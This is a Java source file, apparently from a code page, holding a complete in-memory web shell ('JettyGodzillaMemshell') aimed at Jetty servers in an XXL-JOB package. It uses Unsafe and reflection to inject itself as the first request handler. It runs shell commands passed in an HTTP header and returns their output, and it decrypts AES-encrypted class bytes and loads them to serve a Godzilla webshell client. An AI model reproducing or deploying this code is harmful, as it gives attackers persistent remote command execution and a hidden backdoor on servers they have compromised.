1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202
| package com.xxl.job.core;
import org.eclipse.jetty.server.*; import org.eclipse.jetty.server.handler.AbstractHandler; import org.eclipse.jetty.server.handler.HandlerCollection; import sun.misc.Unsafe;
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.ref.Reference; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Scanner;
public class JettyGodzillaMemshell extends AbstractHandler { String xc = "3c6e0b8a9c15224a"; String pass = "username"; String md5 = md5(pass + xc); Class payload; public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public JettyGodzillaMemshell() { System.out.println(1); }
public JettyGodzillaMemshell(int s) { System.out.println(2); }
static { try { HttpConnection valueField = getValueField(); HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler(); Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning"); mutableWhenRunning.setAccessible(true); mutableWhenRunning.set(handler,true);
Handler[] handlers = handler.getHandlers(); Handler[] newHandlers=new Handler[handlers.length+1]; newHandlers[0]=new JettyGodzillaMemshell(1); for (int i = 0; i < handlers.length; i++) { newHandlers[i + 1] = handlers[i]; } handler.setHandlers(newHandlers);
} catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } } private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafe.setAccessible(true); sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null); return theunsafe; } private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { Unsafe unsafe = getUnsafe(); ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsfiled = threadGroup.getClass().getDeclaredField("threads"); Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled)); for(int i=0;i<threads.length;i++) { try { Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals"); Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF)); Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table"))); for(int j=0;j<table.length;j++){ try { Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value"))); if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){ return (HttpConnection)value; } } catch (Exception e){
} }
} catch (Exception e) {
} } return null; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } }
@Override public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) { String cmd = request.getHeader("cmd"); if (cmd != null && !cmd.isEmpty()) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } base.setHandled(true); String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next(); ServletOutputStream outputStream = response.getOutputStream(); outputStream.write(result.getBytes()); outputStream.flush(); } } else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (payload == null) { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(request); base.setHandled(true); ServletOutputStream outputStream = response.getOutputStream(); outputStream.write(md5.substring(0, 16).getBytes()); f.toString(); outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes()); outputStream.write(md5.substring(16).getBytes()); outputStream.flush(); return ; } } } catch (Exception e) { } } }
|